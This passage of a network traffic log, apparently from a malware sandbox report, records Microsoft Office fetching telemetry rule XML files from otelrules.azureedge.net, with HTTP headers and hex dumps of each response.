2024-10-29 19:38:15 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193815Z-16849878b78q9m8bqvwuva4svc00000005gg00000000ez1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:15 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193815Z-16849878b78km6fmmkbenhx76n000000066g000000010py7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:16 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193816Z-16849878b78p8hrf1se7fucxk800000007u000000000qaag x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:16 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193816Z-16849878b78smng4k6nq15r6s400000008g000000000esmd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:16 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:16 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 00d80357-401e-0048-04c7-270409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193816Z-15b8d89586fcvr6p5956n5d0rc0000000cy000000000k0d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:16 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:16 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:16 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: d1923f92-801e-0067-5fe5-25fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193816Z-15b8d89586f4zwgbgswvrvz4vs00000008c0000000007vpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:16 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:16 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:16 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 2ea78088-901e-0083-5428-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193816Z-15b8d89586fzcfbd8we4bvhqds00000002000000000037st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:38:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193817Z-16849878b78wc6ln1zsrz6q9w800000006r000000000675u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193817Z-16849878b787wpl5wqkt5731b400000007s000000000def3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09556753-901e-0064-11fd-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193817Z-17c5cb586f65j4snvy39m6qus4000000026000000000nxh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: c9775f7b-401e-0016-2424-2a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193817Z-r197bdfb6b4d9xksru4x6qbqr0000000071g00000000dwyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:17 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193817Z-16849878b786jv8w2kpaf5zkqs00000005ug00000000nkv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
